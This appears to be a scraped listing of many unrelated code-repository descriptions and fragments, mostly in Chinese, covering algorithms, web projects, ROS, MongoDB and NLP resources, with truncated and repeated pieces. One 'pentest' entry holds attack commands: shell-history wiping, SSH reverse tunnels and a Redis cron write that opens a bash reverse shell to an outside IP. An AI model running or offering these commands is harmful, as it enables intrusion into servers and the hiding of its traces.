毕业设计 - 基于jsp的网上招标系统设计与实现
jsp网上招标系统主要用于实现会员的发布任务和接收任务的功能,
基本功能包括
1 注册用户部分
1:查看网站流程:查看与网站有关的流程信息,及相关的新闻公告。
2:发布网站留言信息:根据系统提示,发布网站的留言信息。
3:查看已发布的信息:以列表的形式查看已发布信息。
4:发布威客在线信息:根据系统提示,发布网站的留言信息。
5:查看网站成交记录:根据系统提示,查看成交记录信息。
2 管理员部分
1:编辑系统用户信息:添加、编辑用户信息,包括发布者和管理员,以列表的形式显示;
2:编辑网站留言信息:以列表的形式显示网站留言信息,并可对其进行删除等编辑操作;
3:数据备份:不定期进行系统数据备份,以防万一。
embedded-notes-master.zip
面试要点记录
主要涉及到嵌入式软件开发、嵌入式驱动开发、IOT开发、git等知识点。 最新的请参考wiki和我的个人博客
要点
c基础知识
数据结构(链表 hash表 排序算法 设计模式等)
外设(串口 网口 i2s i2c spi sdio等)
ARM cortex-m0 m3 m4 A8等芯片架构
操作系统(内存管理 进程管理 实时性要求 任务间通讯等)
tcpip协议栈(tcpip模型 分层结构 ip tcp udp icmp igmp tftp http ftp等协议)
linux 多线程 多进程通讯 linux系统任务调度和中断
bash命令 shell makefile python github go javascript
linux 启动过程
git 命令
SecurityInterviewGuide-master
网络安全
多年来筛选了数以千记的简历,为何很多人连面试的机会都没有?参与了数以百记的应聘者的面试,为何如此多的人没有通过最终面试?能力当然是最重要的,可我却见过很多能力不比已经入职的同事差却应聘失败的人,到底该如何做?希望这篇安全从业者面试指南能够帮到你,让你少走一些弯路。
本文目标是希望创造一份针对网络信息安全领域从业者的面试指南,从行业、企业、从业者等方面了解当前现状,学习通用的面试和招聘经验,核心围绕各个细分安全岗位的体系、实用、高质量的题库展开。
本文主线围绕面试者视角进行全流程讲解,其中会穿插企业视角、HR视角以及技术面试官视角,让你能够更加全面体系的理解并吸收各种经验。其中核心题库部分,会存在较强的时效效应,因此会不断的进行更新,增加新的题目、剔除不合适的题目、调整题目难度或解答提示。此外题库的来源于真实工作中,能够确保题目能真实反应应聘者能力水平。
darknet-ros-master.zip
YOLO ROS: Real-Time Object Detection for ROS
Overview
This is a ROS package developed for object detection in camera images. You only look once (YOLO) is a state-of-the-art, real-time object detection system. In the following ROS package you are able to use YOLO (V3) on GPU and CPU. The pre-trained model of the convolutional neural network is able to detect pre-trained classes including the data set from VOC and COCO, or you can also create a network with your own detection objects. For more inf
The MongoDB Database
Components
mongod - The database server.
mongos - Sharding router.
mongo - The database shell (uses interactive javascript).
Download MongoDB
https://www.mongodb.com/try/download/community
Using homebrew brew tap mongodb/brew
Using docker image docker pull mongo
Building
See Building MongoDB.
Running
For command line options invoke:
$ ./mongod --help
To run a single server database:
$ sudo mkdir -p /data/db
$ ./mongod
$
$ # The mongo javascript shell connects to localhost and test database by
基于 Spring Boot + Vue的前后端分离博客系统
后台 UI
后台基于 vue-admin-template 二次修改后的 my-vue-admin-template 模板进行开发(于2021年11月1日重构)
UI 框架为 Element UI
前台 UI
Semantic UI:主要使用,页面布局样式,个人感觉挺好看的 UI 框架,比较适合前台界面的开发,语义化的 css,前一版博客系统使用过,可惜该框架 Vue 版的开发完成度不高,见 Semantic UI Vue
Element UI:部分使用,一些小组件,弥补了 Semantic UI 的不足,便于快速实现效果
文章排版:基于 typo.css 修改
开发环境
创建 MySQL 数据库nblog,并执行/blog-api/nblog.sql初始化表数据
修改配置信息/blog-api/src/main/resources/application-dev.properties
安装 Redis 并启动
启动后端服务
分别在blog-cms和blog-view目录下执行npm install安装依赖
分别在blog-cms和blog-view目录下执行npm run
旅行商问题-Matlab实现.zip
旅行商问题
旅行商问题MATLAB版本
cost存放了一个强连通图的边权矩阵,作为一个实例。
可在workspace中加载
运用此算法要注意多次试验。
cost存放了一个强连通图的边权矩阵,作为一个实例。
可在workspace中加载
运用此算法要注意多次试验。
cost存放了一个强连通图的边权矩阵,作为一个实例。
可在workspace中加载
运用此算法要注意多次试验。
cost存放了一个强连通图的边权矩阵,作为一个实例。
可在workspace中加载
运用此算法要注意多次试验。
cost存放了一个强连通图的边权矩阵,作为一个实例。
可在workspace中加载
运用此算法要注意多次试验。
cost存放了一个强连通图的边权矩阵,作为一个实例。
可在workspace中加载
运用此算法要注意多次试验。
快速排序JAVA实现 - QuickSort.java
快速排序
import java.util.Arrays;
public class QuickSort {
public static void quickSort(int[] arr) {
if (arr == null || arr.length < 2) {
return;
}
quickSort(arr, 0, arr.length - 1);
}
public static void quickSort(int[] arr, int l, int r) {
if (l < r) {
swap(arr, l + (int) (Math.random() * (r - l + 1)), r);
int[] p = partition(arr, l, r);
quickSort(arr, l, p[0] - 1);
quickSort(arr, p[1] + 1, r);
}
}
算法题C&C++模板.zip
AC自动机、hash函数、splay、划分树、后缀数组、字典树、并查集、树状数组、线段树
动态规划、图论、字符串、数学、数据结构、杂题、计算几何
AC自动机、hash函数、splay、划分树、后缀数组、字典树、并查集、树状数组、线段树
动态规划、图论、字符串、数学、数据结构、杂题、计算几何
AC自动机、hash函数、splay、划分树、后缀数组、字典树、并查集、树状数组、线段树
动态规划、图论、字符串、数学、数据结构、杂题、计算几何
AC自动机、hash函数、splay、划分树、后缀数组、字典树、并查集、树状数组、线段树
动态规划、图论、字符串、数学、数据结构、杂题、计算几何
AC自动机、hash函数、splay、划分树、后缀数组、字典树、并查集、树状数组、线段树
动态规划、图论、字符串、数学、数据结构、杂题、计算几何
《数据结构》课本源码与习题解析
数据结构
# 《数据结构》课本源码与习题解析
## 项目介绍
本项目中的源码与教材《**数据结构-C语言版**》[严蔚敏,吴伟民版]以及《**数据结构题集-C语言版**》[严蔚敏,吴伟民,米宁版]配套。
| 数据结构教材 | 数据结构题集 |
| :-------------------------------: | :-------------------------------: |
| ![数据结构教材](数据结构教材.png) | ![数据结构题集](数据结构题集.png) |
## 项目结构
本项目包含了**教材源码**跟**习题源码**,并分为4个版本,分别是:**CFree**、**Dev-C++**、**CLion**、**VisualC++**,其中:
- **CFree** 版本是**早期**上传的完整版本,该版本在CFree这个IDE下测试通过。**此版本虽有瑕疵,但不会再实时维护**,因为新的更新会在下面三个分支版本中呈现。
- **Dev-C++
课程设计-基于C&C++的学生成绩管理系统.zip
学生成绩管理系统
printf("\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf("+ 学生成绩管理系统2.0 +\n");
printf("+ 1. 输入课程信息 +\n");
printf("+ 2. 输入学生信息成绩 +\n");
printf("+ 3. 学生基本情况查询 +\n");
printf("+ 4. 成绩查询
52个 - html+js+css - 小实例
# 50 Projects in 50 Days - HTML/CSS and JavaScript
This is the main repository for all of the projects in the course.
# 50 Projects in 50 Days - HTML/CSS and JavaScript
This is the main repository for all of the projects in the course.
# 50 Projects in 50 Days - HTML/CSS and JavaScript
This is the main repository for all of the projects in the course.
诸多 - html+js+css - 小实例
# 50 Projects in 50 Days - HTML/CSS and JavaScript
This is the main repository for all of the projects in the course.
# 50 Projects in 50 Days - HTML/CSS and JavaScript
This is the main repository for all of the projects in the course.
# 50 Projects in 50 Days - HTML/CSS and JavaScript
This is the main repository for all of the projects in the course.
pytorch-tutorial-master.zip
This repository provides tutorial code for deep learning researchers to learn [PyTorch](https://github.com/pytorch/pytorch). In the tutorial, most of the models were implemented with less than 30 lines of code. Before starting this tutorial, it is recommended to finish [Official Pytorch Tutorial](http://pytorch.org/tutorials/beginner/deep_learning_60min_blitz.html).
<br/>
## Table of Contents
#### 1. Basics
* [PyTorch Basics](https://github.com/yunjey/pytorch-tutorial/tree/master/tutorials/
最小生成树Prim算法 - Matlab实现
最小生成树
Dandn文件给出了输入参数的名称及格式
即在调用prim前先输入邻接矩阵D和节点个数n
输入prim
得到两行的矩阵T,将上下两行数字对应的节点相连即可
Dandn文件给出了输入参数的名称及格式
即在调用prim前先输入邻接矩阵D和节点个数n
输入prim
得到两行的矩阵T,将上下两行数字对应的节点相连即可
Dandn文件给出了输入参数的名称及格式
即在调用prim前先输入邻接矩阵D和节点个数n
输入prim
得到两行的矩阵T,将上下两行数字对应的节点相连即可
Dandn文件给出了输入参数的名称及格式
即在调用prim前先输入邻接矩阵D和节点个数n
输入prim
得到两行的矩阵T,将上下两行数字对应的节点相连即可
计算机专业英语词汇 - Computer-English-Words
专业英语
> 计算机专业术语英文词汇
## 分类
* [云计算](云计算/云计算.md)
* [分布式系统](分布式系统/分布式系统.md)
* [区块链](区块链/区块链.md)
* [图论](图论/图论.md)
* [大数据](大数据/大数据.md)
* [数据挖掘](数据挖掘.md)
* [机器学习](机器学习.md)
* [线性代数]
* 公有云 Public Cloud
* 私有云 Private Cloud
* 混合云 Hybrid Cloud
* 云备份 Cloud Backup
* 软件即服务 Software as a Service, SaaS
* 平台即服务 Platform as a Service, PaaS
* 基础设施即服务 Infrastructure as a Service, IaaS
elf 加密 - 字符串加密 - 函数加密
字符串加密
elf 加密项目,功能有:1)字符串加密(.rodata),2)函数加密
加密算法PRESENT(分组密码算法,速度快,实现简单。但可以通过差分分析破解,折中考虑),密钥由blake244生成(单向哈希,SHA-3备选,速度快)
目前支持Linux x86与ARM(由于elf解析使用的32位结构体)
使用
encrypt 是加密器,payload 是测试demo,首先在main函数中解密.rodata,亦可放到init_array中实现,loader 负责运行时函数加解密操作的具体实现
其中 payload 的编写要符合以下规范:
需要加密的函数,以 _encrypt_ 前缀声明,如 void _encrypt_helloworld(void)
使用 decrypt_and_call(func_name) 调用加密的函数(注意多线程问题)
加密函数页对齐__attribute__((aligned(PAGE_SIZE))
使用 -fpie 编译
数学建模常用算法程序包(免调试直接用).zip
%% 设置GUI按键
plotbutton=uicontrol('style','pushbutton','string','运行', 'fontsize',12, 'position',[150,400,50,20], 'callback', 'run=1;');
erasebutton=uicontrol('style','pushbutton','string','停止','fontsize',12,'position',[250,400,50,20],'callback','freeze=1;');
quitbutton=uicontrol('style','pushbutton','string','退出','fontsize',12,'position',[350,400,50,20],'callback','stop=1;close;');
number = uicontrol('style','text','string','1','fontsize',12, 'position',[20,400,50,20]);
%% 元胞自动机设置
n=200;
%初始化各元胞状态
计算机二级C - Java - NCRE.zip
计算机二级C - Java - NCRE
C语言和JAVA语言的练习实例
public class Java_2{
public static void main(String[] args){
//*********Found**********
int ____________ aMatrix = new int[4][];
int i = 0;
int j = 0;
int k = 4;
for(i = 0; i < 4; i++){
//*********Found**********
aMatrix[i] = new int[__________];
//*********Found**********
for (j = 0; j < ___________.length; j++) {
aMatrix[i][j] = i+1;
System.out.print(aMatri
中英文NLP数据集 - CLUEDatasetSearch
中英文NLP数据集。可以点击[搜索](https://www.cluebenchmarks.com/dataSet_search.html)。
您可以通过<a href='https://www.cluebenchmarks.com/dataSet_upload.html'>上传数据集信息</a>贡献你的力量。上传五个或以上数据集信息并审核通过后,该同学可以作为项目贡献者,并显示出来。
<a href="https://www.cluebenchmarks.com/clueai.html">clueai工具包: 三分钟三行代码搞定NLP开发(零样本学习)</a>
funNLP-master.zip
中英文敏感词、语言检测、中外手机/电话归属地/运营商查询、名字推断性别、手机号抽取、身份证抽取、邮箱抽取、中日文人名库、中文缩写库、拆字词典、词汇情感值、停用词、反动词表、暴恐词表、繁简体转换、英文模拟中文发音、汪峰歌词生成器、职业名称词库、同义词库、反义词库、否定词库、汽车品牌词库、汽车零件词库、连续英文切割、各种中文词向量、公司名字大全、古诗词库、IT词库、财经词库、成语词库、地名词库、历史名人词库、诗词词库、医学词库、饮食词库、法律词库、汽车词库、动物词库、中文聊天语料、中文谣言数据、百度中文问答数据集、句子相似度匹配算法集合、bert资源、文本生成&摘要相关工具、cocoNLP信息抽取工具、国内电话号码正则匹配、清华大学XLORE:中英文跨语言百科知识图谱
SwiftyJSON-master.zip
Why is the typical JSON handling in Swift NOT good?
Swift is very strict about types. But although explicit typing is good for saving us from mistakes, it becomes painful when dealing with JSON and other areas that are, by nature, implicit about types.
Take the Twitter API for example. Say we want to retrieve a user's "name" value of some tweet in Swift (according to Twitter's API).
The code would look like this:
if let statusesArray = try? JSONSerialization.jsonObject(with: data, options: .a
fortranlib-master.zip
This is a collection of Fortran routines I have written over the years for use
in more complex codes. The different files are as independent as possible from
each other, but in some cases dependencies are unavoidable.
A lot of routines are written so as to work with both single and double type
precision. These are in the templates/ directory, and are coded using generic
types. The files in templates are not valid Fortran, and will not compile.
Running the parse.py script automatically generates
ch02-机器学习基础.zip
机器学习
# 第二章 机器学习基础
机器学习起源于上世纪50年代,1959年在IBM工作的Arthur Samuel设计了一个下棋程序,这个程序具有学习的能力,它可以在不断的对弈中提高自己。由此提出了“机器学习”这个概念,它是一个结合了多个学科如概率论,优化理论,统计等,最终在计算机上实现自我获取新知识,学习改善自己的这样一个研究领域。机器学习是人工智能的一个子集,目前已经发展出许多有用的方法,比如支持向量机,回归,决策树,随机森林,强化方法,集成学习,深度学习等等,一定程度上可以帮助人们完成一些数据预测,自动化,自动决策,最优化等初步替代脑力的任务。本章我们主要介绍下机器学习的基本概念、监督学习、分类算法、逻辑回归、代价函数、损失函数、LDA、PCA、决策树、支持向量机、EM算法、聚类和降维以及模型评估有哪些方法、指标等等。
## 2.1 基本概念
### 2.1.1 大话理解机器学习本质
机器学习(Machine Learning, ML),顾名思义,让机器去学习。这里,机器指的是计算机,是算法运行的物理载体,你也可以把各种算法本身当做一个有输入和输出的机器。那么到
渗透测试 - pentest-master
渗透测试
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
python -c 'import pty; pty.spawn("/bin/sh")'
ssh -C -f -N -g -R 3389:10.0.0.1:3389 gg@118.118.118.118
plink.exe -C -N -R 3389:127.0.0.1:3389 gg@118.118.118.118 -pw 123456 -P 443
set 0 "\n\n\n* * * * * bash -i >& /dev/tcp/118.118.118.118/53 0>&1\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
config set dir /var/lib/redis
config set dbfilename
Ackermenn递归版.cpp
递归计算ackermenn函数
递归计算ackermenn函数
Rust-master.zip
## Src
* Backtracking
* [All Combination Of Size K](https://github.com/TheAlgorithms/Rust/blob/master/src/backtracking/all_combination_of_size_k.rs)
* [Hamiltonian Cycle](https://github.com/TheAlgorithms/Rust/blob/master/src/backtracking/hamiltonian_cycle.rs)
* [Knight Tour](https://github.com/TheAlgorithms/Rust/blob/master/src/backtracking/knight_tour.rs)
* [N Queens](https://github.com/TheAlgorithms/Rust/blob/master/src/backtracking/n_queens.rs)
* [Parentheses Generator]
Object - C 资源.zip
Sources for "Object-Oriented Programming with ANSI-C" (rerelease
02-01-04 and 14-01-03)
Copyright (c) 1993 Axel T. Schreiner, University of Osnabrueck, Germany
contact ----------------------------------------------------------------
mail: Axel T. Schreiner, 36 Muirfield Ct, Pittsford NY 14534 USA
http://www.cs.rit.edu/~ats/, phone +1.585.264.0944
mailto: axel@schreiner-family.net
legalese ---------------------------------------------------------------
While you may use this software package, n
Scratch-GUI-develop
scratch-gui
Scratch GUI is a set of React components that comprise the interface for creating and running Scratch 3.0 projects
To open the current build in your browser on Github Pages:
https://scratchfoundation.github.io/scratch-gui/
Installation
This requires you to have Git and Node.js installed.
In your own node environment/application:
npm install https://github.com/scratchfoundation/scratch-gui.git
If you want to edit/play yourself:
git clone https://github.com/scratchfoundation/scra
算法实现Kotlin测试
Contribution Guidelines
If you add an algorithm then you have to add a test (JUnit) along with it. In the absence of a test, the PR will not be approved.
Follow the correct coding guidelines with proper description of the methods. Refer Kotlin Coding Standards.
Your work will be distributed under MIT License once your pull request is merged.
Please do not add a signature inside the code. The commit history is sufficient to determine who has added the code to the repo.
Make sure the algorithm whi
2020-TI-competion-question-A-main.zip
分为
手机端(android),主显示端,姿态检测手环端,心率滤波读取端
mcu
采用的是esp32.结合了适配esp32的arduino以及rtos框架进行开发。
开发环境 及 语言
安卓为android studio java开发
esp32为platform io c/c++
节点间通信方式
tcp直连,手机端为总服务端
手机端
android 原生开发
主显示端
屏幕ili9341 spi
触摸xpt2046
图形 adafruit gfx
ad芯片 ads112c04
测温 lmt70
姿态检测端
9轴 bno055
心率检测
心电 ads1292
基于racecar模型的智能车仿真系统
操作系统:ubuntu16.04
ROS版本:kinetic
Gazebo版本:7.0.0
本文介绍在MIT的racecar模型基础上搭建slam,仿真实现2019年室外光电创意组比赛。
报错controllers相关
sudo apt-get install ros-kinetic-controller-manager
sudo apt-get install ros-kinetic-gazebo-ros-control
sudo apt-get install ros-kinetic-effort-controllers
sudo apt-get install ros-kinetic-joint-state-controller
报错driver_base相关
sudo apt-get install ros-kinetic-driver-base
报错rtabmap相关
sudo apt-get install ros-kinetic-rtabmap-ros
报错ackermann_msgs相关
sudo apt-get install ros-kinetic-acker
DelphiWebsockets-master.zip
Unfortunately I don't have time to support this project anymore. Also the websocket protocol has changed in the meantime, so it won't work with browser and other modern implementations.
Please take a look at the free (but closed) 3rd party component:
http://www.esegece.com/websockets/download
http://www.esegece.com/download/sgcWebSockets_free.zip
DelphiWebsockets
Websockets and Socket.io for Delphi
See below for an event driven async example of an socket.io server and client:
JavaScript-master
The Algorithms - JavaScript
JavaScript Repository of TheAlgorithms, which implements various algorithms and data structures in JavaScript.
JavaScript Banner
Gitpod ready-to-code Checks codecov Contributions Welcome standard.js Discord chat
These implementations are for demonstrative purposes only. Dedicated implementations of these algorithms and data structures are much better for performance and security reasons. We also do not provide any guarantee for api stability.
Before contributing to
MES-源代码 C# MES-开源源代码
C# MES_开源源代码
串口传输文件
flutter - plugins-main.zip
flutter
Flutter plugins
ARCHIVED
This repository is no longer in use; all source has moved to flutter/packages and future development work will be done there.
ARCHIVED CONTENT
This repo is a companion repo to the main flutter repo. It contains the source code for Flutter first-party plugins (i.e., plugins developed by the core Flutter team). Check the packages directory for all plugins.
Flutter plugins enable access to platform-specific APIs. For more information about plugins, and how to use t
微信爬虫项目实例.zip
python爬虫案例
# crawler-analysis
爬虫+数据分析实战项目
本代码为《爬虫+数据分析》的源代码,以及Python有趣系列代码,涵盖的内容有。
- 微信
- 豆瓣
- POI
- 手机微博
- 简书
- 知乎
- 网络爬虫
- 数据分析
- 机器学习
- 深度学习
供大家学习和参考~
# crawler-analysis
爬虫+数据分析实战项目
本代码为《爬虫+数据分析》的源代码,以及Python有趣系列代码,涵盖的内容有。
- 微信
- 豆瓣
- POI
- 手机微博
- 简书
- 知乎
- 网络爬虫
- 数据分析
- 机器学习
- 深度学习
供大家学习和参考~
俄罗斯方块-人工+AI-版.zip
俄罗斯方块c语言
采用C++与WinAPI方式实现,分为普通玩家模式与AI模式
思维导图
尚未测得,目前测试环境下,测试时间以及消除行数大约为12小时60W行,最终人为停止测试。
This algorithm is part of a project I was working on last term as part of my Artificial Intelligence class. This algorithm, which I will be referring to as “El-Tetris”, is an algorithm for playing Tetris by inspecting only one piece at a time (as opposed to two or three pieces in some variations of the game). It is based on Pierre Delacherie’s Tetris algorithm, which is known as one of the best one-piece Te
hoj2196 01背包.cpp
01背包问题
#include <stdio.h>
#include <string.h>
#include <iostream>
#include <algorithm>
#include <math.h>
using namespace std;
int f[2700];
int w[600];
int val[600];
int main()
{
freopen("in","r",stdin);
int t,tt,n,a,b;
scanf("%d", &t);
int ca=1;
while (t--)
{
scanf("%d", &n);
for (int i = 1; i <= n; i++)
{